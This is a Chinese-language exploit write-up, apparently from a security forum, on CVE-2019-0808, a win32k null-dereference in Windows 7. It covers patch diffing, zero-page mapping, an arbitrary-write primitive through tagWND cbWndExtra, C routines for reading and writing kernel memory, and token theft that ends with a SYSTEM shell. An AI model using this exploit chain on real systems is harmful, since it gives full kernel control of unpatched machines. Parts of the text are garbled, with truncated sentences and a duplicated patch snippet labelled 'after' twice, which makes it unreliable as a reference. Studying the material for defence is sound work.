

漏洞概述

CVE-2019-0808是微软在2019年3月修补的内核漏洞，该漏洞只影响Windows 7和Windows Server

2008，漏洞允许攻击者提升权限并在内核模式下执行任意代码。在谷歌威胁分析团队的报告中发现该漏洞用于进行Chrome沙箱逃逸，和CVE-2019-5786 Chrome 远程代码执行漏洞配合使用。

补丁分析

通过对Win7上3月份的补丁进行对比可以知道问题出现在xxxMNFindWindowFromPoint函数中，这次的补丁只要对xxxSendMessage函数的返回值进行了检查，如果返回

```
//补丁后
v4 = xxxSendMessage(*(a1 + 12), -21, UnicodeString, (a3 | (a3 >> 16 << 16)));
ThreadUnlock1();
if ( IsMFMPWindow(v4) )
{
    LOBYTE(v5) = 1;
    v6 = HMValidateHandleNoSecure(v4, v5);
    v4 = v6;
    if ( !v6 )
        goto LABEL_12;
    v7 = safe_cast_fnid_to_PMENUMND(v6);
    if ( !v7 )
        return 0;
    v8 = *(v7 + 0x80);
    if ( !v8 || !(v8 + 0x14) )
        return 0;
}
if ( v4 )
{
    v10 = *UnicodeString;
    *a2 = v10;
    return v4;
}
//补丁后
v4 = xxxSendMessage(*(a1 + 12), -21, UnicodeString, (a3 | (a3 >> 16 << 16)));
ThreadUnlock1();
if ( IsMFMPWindow(v4) )
{
    LOBYTE(v5) = 1;
    v6 = HMValidateHandleNoSecure(v4, v5);
    v4 = v6;
    if ( !v6 )
        goto LABEL_12;
    v7 = safe_cast_fnid_to_PMENUMND(v6);
    if ( !v7 )
        return 0;
    v8 = *(v7 + 0x80);
    if ( !v8 || !(v8 + 0x14) )
        return 0;
}
if ( v4 )
{
    v10 = *UnicodeString;
    *a2 = v10;
    return v4;
}
```

通过对xxxMNFindWindowFromPoint、NtUserMNDragOver和MNGetpItemFromIndex函数进行引用分析，知道可以通过拖动菜单项来触发相关漏洞函数。漏洞成因可

漏洞利用

可利用性分析

通过分析漏洞触发流程知道xxxMNUpdateDraggingInfo函数获得窗口对象后，会通过MNGetpItem函数访问其成员tagPOPUPMENU对象，MNGetpItem函数又会继续访问在MNGetpItem中调用函数MNGetpItemFromIndex，而MNGetpItemFromIndex参数a1就是传入的tagPOPUPMENU对象的spmenu成员，spmenu成员是一个tagMENU * (a1 + 52)会触发零指针解引用漏洞。在Windows7 32位的系统中还未引入零页内存保护机制，所以在Windows7 32位的系统中可以通过申请零地址并赋值来通过MNGetpItemFromIndex代码中的取值以及后续代码取值和校验。

```
unsigned int __stdcall MNGetpItemFromIndex(int a1, unsigned int a2)
{
    unsigned int result; // eax

    if ( a2 == -1 || a2 >= *(_DWORD *) (a1 + 32) )
        result = 0;
    else
        result = *(_DWORD *) (a1 + 52) + 108 * a2;
    return result;
}
```

通过申请零地址可以对零地址的值进行控制，也就可以控制*(_DWORD *) (a1 + 52)的值，a2的值也可以通过全局的消息钩子函数来获取或者修改值，达到控制MNGetpItemFromIndex返回任意值的目的。对于申请零地址，常规的内存申请函数像VirtualAlloc


先知社区

```
v8 = *(pMenuWnd + 0xB0); // tagPOPUPMENU
```

先知社区

```
xxxMNSetGapState(v12, v20, pMenuStatea, 0);  
xxxMNSetGapState(*v4, *(v3 + 0x3C), *(v3 + 0x40), 1);
```

```
pMenuWnd = safe_cast_fnid_to_PMENUWND(a1);
```

 先知社区

```
v10 = MNGetpItem(v18, a2 + 1);
```

先知社区

```

v8 = *(pMenuWnd + 0x80); // tagPOPUPMENU
result = MNGetpItem(*(pMenuWnd + 0x80), *(v3 + 0x3C));
*(v3 + 64) = 0;
v22 = result;
if ( result )
{
    v10 = *(MNGetpItemFromIndex(*(v8 + 0x14), *(v8 + 0x14) + 0x4C)) + 0x28 + *(v3 + 12) - *(v4 + 0x54);
    if ( v10 > v11 + *(gpsi + 0x6E4) )
    {
        if ( v10 >= v11 + *(v22 + 0x30) - *(gpsi + 0x6E4) )
        {
            *(v3 + 64) = 2;
        }
    }
    else
    {
        *(v3 + 64) = 1;
    }
}
*(DWORD*)(zero_addr + 0x20) = 0x88888888;
*(DWORD*)(zero_addr + 0x28) = 0x77777777;

```

还有一些零地址偏移的值需要去设置，比如零。

现在知道了如何修改数据，现在分析如何通过代码来准确的控制result的值。通过MNGetpItemFromIndex函数知道result的值是由两个变量运算后相加得到，而这两个变量是 $(a1 + 0x34)$ ，因为a1为零地址所以 $*(a1 + 0x34)$ 的可以修改为任意值。但是在实际的测试中发现这样做并不行，因为后面会对 $*(a1 + 0x34)$ 当成菜单项指针获取数据用于验证，若 $*(a1 + 0x34)$ 为任意地址则附近的数据不可控，这样可能导致后面的验证不通过。

```

unsigned int __stdcall MNGetpItemFromIndex(
{
    unsigned int result; // eax

    if ( a2 == -1 || a2 >= *(a1 + 0x20) )
        result = 0;
    else
        result = *(a1 + 0x34) + 0x6C * a2;
    return result;
}

```

任意地址读写

0x34)在零页内存上，这样可以控制 $*(a1 + 0x34)$ 的数据用于后续的验证。假设任意地址的值为addr，可以按如下来设置a1和a2的值。设置a1和a2的值后，还需要对后续一些验证地址的数据进行调整，在xxxMNSetGapState中调用MNGetpItem时传入的是a2+1，要注意计算a2的值。最后就能顺利执行到。

```

*(a1 + 0x34) = addr % 0x6C;
a2 = addr / 0x6C;

```

```

kd> r
eax=fec0aa33 ebx=025bdba6 ecx=00000000 edx=00049e00 esi=fec0a9c7 edi=fec0b688
eip=8ebd5c5d esp=8a43ba64 ebp=8a43ba8c iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286
win32k!xxxMNSetGapState+0xde:
8ebd5c5d 81480400000080 or     dword ptr [eax+4],80000000h ds:0023:fec0aa37-000000fe

```

任意地址读写

上文的代码可以实现任意地址与0x80000000进行或运算，直接看可能意义不大，但是可以把这个值转到其它数据结构中去，比如可以用来修改其它结构表示大小的字段，在这里使用tagWND结构体的cbWNDExtra成员，该成员8字节表示窗口附加数据的大小，默认情况下cbWNDExtra大小为0。在之前需要获取cbWNDExtra成员在内核中的地址。

```

WNDCLASSEX wndCbHuntA = { 0x0 };
wndCbHuntA.cbSize = sizeof(wndCbHuntA);
wndCbHuntA.cbWndExtra = 0x118;
wndCbHuntA.lpszClassName = TEXT("wndCbHuntA");
wndCbHuntA.lpfnWndProc = MainkProc;
result = RegisterClassEx(&wndCbHuntA);
if (!result) {
    printf("RegisterClassEx error: %d\r\n", GetLastError());
}

WNDCLASSEX wndCbHuntB = { 0x0 };
wndCbHuntB.cbSize = sizeof(wndCbHuntB);
wndCbHuntB.cbWndExtra = 0x130;
wndCbHuntB.lpszClassName = TEXT("wndCbHuntB");
wndCbHuntB.lpfnWndProc = MainkProc;
result = RegisterClassEx(&wndCbHuntB);
if (!result) {
    printf("RegisterClassEx error: %d\r\n", GetLastError());
}

HWND cbOffsetFindWindowA = CreateWindowEx(0, wndCbHuntA.lpszClassName, NULL, 20, CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
HWND cbOffsetFindWindowB = CreateWindowEx(0, wndCbHuntB.lpszClassName, NULL, 20, CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);

```

而窗口类的cbWNDExtra正好对应tagWND的

cbWNDExtra成员，创建窗口之后就是获取cbWNDExtra成员在tagWND结构体中的偏移。首先就要获取tagWND结构的地址，获取tagWND可以使用HMValidateHandle

```

BOOL FindHMValidateHandle() {
    HMODULE hUser32 = LoadLibraryA("user32.dll");
    if (hUser32 == NULL) {
        printf("Failed to load user32");
        return FALSE;
    }
    BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
    if (pIsMenu == NULL) {
        printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
        return FALSE;
    }
    unsigned int uiHMValidateHandleOffset = 0;
    for (unsigned int i = 0; i < 0x1000; i++) {
        BYTE* test = pIsMenu + i;
        if (*test == 0xE8) {
            uiHMValidateHandleOffset = i + 1;
            break;
        }
    }
    if (uiHMValidateHandleOffset == 0) {
        printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
        return FALSE;
    }
    DWORD addr = *(DWORD*)(pIsMenu + uiHMValidateHandleOffset);
    DWORD offset = ((DWORD)pIsMenu - (DWORD)hUser32) + addr;
    pHMValidateHandle = (HMValidateHandle)((ULONG_PTR)hUser32 + offset + 15);
    return TRUE;
}

```

在获取tagWND的地址后，通过扫描WindowA和WindowB的cbWNDExtra成员的值来获取cbWNDExtra成员的偏移。

获取了cbWNDExtra的偏移，还需要获取保存额外数据的偏移。可以使用SetWindowLong函数向窗口写入额外数据，在使用与获取cbWNDExtra偏移相同的方法来扫描写入。

```
HWND extraMemFindWindow = CreateWindowEx(0, wnd.lpszClassName, NULL, 20, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, NULL, NULL, NULL, NULL);

void * extraMemAddr = pHmValidateHandle(extraMemFindWindow, 1);
SetWindowLong(extraMemFindWindow, 0, 0x31323334);
for (DWORD i = 0; i < 0x1000; i++) {
    DWORD* data = (DWORD*)((DWORD)extraMemAddr + i);
    if (*data == 0x31323334) {
        printf("Found extra memory offset: 0x%X\n", i);
        ExtraMemoryOffset = i;
        break;
    }
    else
    {
        printf("Not Found.....");
    }
}
}

kd> dd fec0aa38
fec0aa38  00800000 fec0a9a8 000a01f5 00000000
fec0aa48  00000000 00000000 00000000 00000048
fec0aa58  00010004 10000017 00000001 00000001
fec0aa68  0073da60 0000a918 004d0049 00000045
fec0aa78  00010018 0c000004 00070344 00000004
fec0aa88  febdf910 86115048 fec0aa80 00020000
fec0aa98  80000300 00000000 8c000000 00000000
fec0aaa8  02a90000 fec0f988 fec0a9a8 fec00618
```

知道这两个重要的偏移后，就可以开始后面的

```
修改了触发漏洞窗口cbWNDEExtra的大小后，调用SetWindowLong函数对漏洞窗口的附加数据进行写操作。通过前面计算的偏移，可以准确的修改利用窗口的数据。为了该
DWORD ReadKernelMemory(DWORD addr)
{
    THRDESKHEAD *hTagOne = (THRDESKHEAD *)pHmValidateHandle(primary, 1);
    THRDESKHEAD *hTagTwo = (THRDESKHEAD *)pHmValidateHandle(secondary, 1);
    DWORD orig = *(DWORD *)((CHAR*)pHmValidateHandle(secondary, 1) + spwndParentOffset);
    DWORD spwndParentAddr = (DWORD)hTagTwo->pSelf + spwndParentOffset;
    DWORD extraMemAddr = (DWORD) hTagOne->pSelf + ExtraMemoryOffset;
    DWORD distance = spwndParentAddr - extraMemAddr;
    SetLastError(0);
    DWORD prev = SetWindowLong(primary, distance, addr);
    if (prev == 0 && GetLastError() != 0) {
        printf("SetWindowLong failed with 0x%X, 0x%X, 0x%X and error: 0x%X", primary, distance, addr, GetLastError());
    }
    DWORD read = NtUserGetAncestor(secondary, GA_PARENT);
    SetWindowLong(primary, distance, orig);
    return read;
}
```

为了后续利用还需要写操作，对写操作可以使用tagWND结构中的strName成员，在strName中有一个buffer可以使用SetWindowText函数进行数据写入。这儿可以通过前

```
VOID WriteKernelMemory(DWORD addr, LPWSTR content) {
    THRDESKHEAD *hTagOne = (THRDESKHEAD *)pHmValidateHandle(primary, 1);
    THRDESKHEAD *hTagTwo = (THRDESKHEAD *)pHmValidateHandle(secondary, 1);
    LARGE_UNICODE_STRING* bufferOriginalAddr = (LARGE_UNICODE_STRING*)((DWORD)pHmValidateHandle(secondary, 1) + 0x84);
    PWSTR contents = bufferOriginalAddr->Buffer;
    DWORD extraMemAddr = (DWORD) hTagOne->pSelf + ExtraMemoryOffset;
    DWORD bufferAddr = (DWORD) hTagTwo->pSelf + (cbWndExtraOffset - 4);
    DWORD diff = bufferAddr - extraMemAddr;
    DWORD prev = SetWindowLong(primary, diff, addr);
    if (prev == 0 && GetLastError() != 0) {
        printf("SetWindowLong failed with 0x%X, 0x%X, 0x%X and error: 0x%X", primary, diff, addr, GetLastError());
    }
    SetWindowText(secondary, content);
    SetWindowLong(primary, diff, (DWORD)contents);
}
```

有了任意地址读写就可以获取system进程的Token，再使用system进程的Token覆盖当前进程的Token，完成提权操作。有了任意读写的能力后替换Token的办法有很多，

函数指针后，调用NtQueryIntervalProfile函数执行shellcode，在shellcode中去完成提权。也可以通过tagWND对象来一层层去获取EPROCESS，在EPROCESS中就能获取

```
C:\Users\zz\Desktop>whoami
nt authority\system
```

点击收藏 | 0 关注 | 1

[上一篇：C++逆向学习\(三\) 移动构造函数](#) [下一篇：【JSP代码审计】从代码审计的角度...](#)

1. 0 条回复

- 动手手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

